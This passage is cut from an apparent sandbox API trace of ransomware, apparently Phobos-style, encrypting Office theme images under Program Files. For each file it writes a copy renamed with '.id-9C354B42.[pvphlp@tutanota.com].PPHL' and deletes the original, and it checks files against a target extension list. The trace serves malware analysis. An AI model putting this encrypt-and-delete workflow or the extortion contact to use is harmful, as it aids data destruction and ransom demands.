Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0076.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.356] lstrlenW (lpString=".doc") returned 4 [0076.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.356] lstrlenW (lpString=".docx") returned 5 [0076.357] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.357] lstrlenW (lpString=".pdf") returned 4 [0076.357] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString=".xls") returned 4 [0076.357] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString=".xlsx") returned 5 [0076.357] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.357] lstrlenW (lpString=".ppt") returned 4 [0076.357] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString=".zip") returned 4 [0076.357] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString=".rar") returned 4 [0076.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString=".bz2") returned 4 [0076.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.357] lstrlenW (lpString=".7z") returned 3 [0076.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString=".dbf") returned 4 [0076.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString=".1cd") returned 4 [0076.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString=".jpg") returned 4 [0076.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.357] lstrlenW (lpString=".doc") returned 4 [0076.357] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.357] lstrlenW (lpString=".docx") returned 5 [0076.357] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.357] lstrlenW (lpString=".pdf") returned 4 [0076.357] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.357] lstrlenW (lpString=".xls") returned 4 [0076.358] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.358] lstrlenW (lpString=".xlsx") returned 5 [0076.358] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.358] lstrlenW (lpString=".ppt") returned 4 [0076.358] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.358] lstrlenW (lpString=".zip") returned 4 [0076.358] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.358] lstrlenW (lpString=".rar") returned 4 [0076.358] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.358] lstrlenW (lpString=".bz2") returned 4 [0076.358] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.358] lstrlenW (lpString=".7z") returned 3 [0076.358] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.358] lstrlenW (lpString=".dbf") returned 4 [0076.358] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.358] lstrlenW (lpString=".1cd") returned 4 [0076.358] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0076.358] lstrlenW (lpString=".jpg") returned 4 [0076.358] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.358] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.358] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.359] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=2181) returned 1 [0076.359] CloseHandle (hObject=0x1f8) returned 1 [0076.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0076.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.360] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.360] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.362] GetLastError () returned 0x0 [0076.362] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x885, lpOverlapped=0x0) returned 1 [0076.363] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x890, lpOverlapped=0x0) returned 1 [0076.364] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.364] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.364] SetEndOfFile (hFile=0x18c) returned 1 [0076.365] CloseHandle (hObject=0x18c) returned 1 [0076.365] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.365] SetEndOfFile (hFile=0x1f8) returned 1 [0076.366] CloseHandle (hObject=0x1f8) returned 1 [0076.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.366] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.366] lstrlenW (lpString=".doc") returned 4 [0076.366] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.366] lstrlenW (lpString=".docx") returned 5 [0076.366] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.366] lstrlenW (lpString=".pdf") returned 4 [0076.366] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.366] lstrlenW (lpString=".xls") returned 4 [0076.366] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.366] lstrlenW (lpString=".xlsx") returned 5 [0076.366] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.366] lstrlenW (lpString=".ppt") returned 4 [0076.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.366] lstrlenW (lpString=".zip") returned 4 [0076.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.366] lstrlenW (lpString=".rar") returned 4 [0076.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString=".bz2") returned 4 [0076.367] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.367] lstrlenW (lpString=".7z") returned 3 [0076.367] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString=".dbf") returned 4 [0076.367] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString=".1cd") returned 4 [0076.367] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString=".jpg") returned 4 [0076.367] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString=".doc") returned 4 [0076.367] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.367] lstrlenW (lpString=".docx") returned 5 [0076.367] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.367] lstrlenW (lpString=".pdf") returned 4 [0076.367] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString=".xls") returned 4 [0076.367] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString=".xlsx") returned 5 [0076.367] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.367] lstrlenW (lpString=".ppt") returned 4 [0076.367] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.367] lstrlenW (lpString=".zip") returned 4 [0076.367] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString=".rar") returned 4 [0076.367] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.367] lstrlenW (lpString=".bz2") returned 4 [0076.367] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.367] lstrlenW (lpString=".7z") returned 3 [0076.367] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.368] lstrlenW (lpString=".dbf") returned 4 [0076.368] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.368] lstrlenW (lpString=".1cd") returned 4 [0076.368] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0076.368] lstrlenW (lpString=".jpg") returned 4 [0076.368] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.368] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.368] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.368] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=20627) returned 1 [0076.368] CloseHandle (hObject=0x1f8) returned 1 [0076.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0076.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.369] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.369] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.369] GetLastError () returned 0x0 [0076.369] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5093, lpOverlapped=0x0) returned 1 [0076.371] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0076.372] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.372] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.372] SetEndOfFile (hFile=0x18c) returned 1 [0076.372] CloseHandle (hObject=0x18c) returned 1 [0076.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.373] SetEndOfFile (hFile=0x1f8) returned 1 [0076.374] CloseHandle (hObject=0x1f8) returned 1 [0076.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0076.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.374] lstrlenW (lpString=".doc") returned 4 [0076.374] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.374] lstrlenW (lpString=".docx") returned 5 [0076.374] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.374] lstrlenW (lpString=".pdf") returned 4 [0076.374] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.374] lstrlenW (lpString=".xls") returned 4 [0076.374] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.375] lstrlenW (lpString=".xlsx") returned 5 [0076.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.375] lstrlenW (lpString=".ppt") returned 4 [0076.375] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString=".zip") returned 4 [0076.375] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.375] lstrlenW (lpString=".rar") returned 4 [0076.375] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.375] lstrlenW (lpString=".bz2") returned 4 [0076.375] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.375] lstrlenW (lpString=".7z") returned 3 [0076.375] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString=".dbf") returned 4 [0076.375] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString=".1cd") returned 4 [0076.375] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString=".jpg") returned 4 [0076.375] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.375] lstrlenW (lpString=".doc") returned 4 [0076.375] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.375] lstrlenW (lpString=".docx") returned 5 [0076.375] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.376] lstrlenW (lpString=".pdf") returned 4 [0076.376] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.376] lstrlenW (lpString=".xls") returned 4 [0076.376] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.376] lstrlenW (lpString=".xlsx") returned 5 [0076.376] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.376] lstrlenW (lpString=".ppt") returned 4 [0076.376] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.376] lstrlenW (lpString=".zip") returned 4 [0076.376] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.376] lstrlenW (lpString=".rar") returned 4 [0076.376] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.376] lstrlenW (lpString=".bz2") returned 4 [0076.376] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.376] lstrlenW (lpString=".7z") returned 3 [0076.376] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.376] lstrlenW (lpString=".dbf") returned 4 [0076.376] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.376] lstrlenW (lpString=".1cd") returned 4 [0076.376] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0076.376] lstrlenW (lpString=".jpg") returned 4 [0076.376] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.376] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.376] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.377] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1560) returned 1 [0076.377] CloseHandle (hObject=0x1f8) returned 1 [0076.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0076.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.377] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.377] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.379] GetLastError () returned 0x0 [0076.379] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x618, lpOverlapped=0x0) returned 1 [0076.380] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x620, lpOverlapped=0x0) returned 1 [0076.381] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.381] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.382] SetEndOfFile (hFile=0x18c) returned 1 [0076.382] CloseHandle (hObject=0x18c) returned 1 [0076.382] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 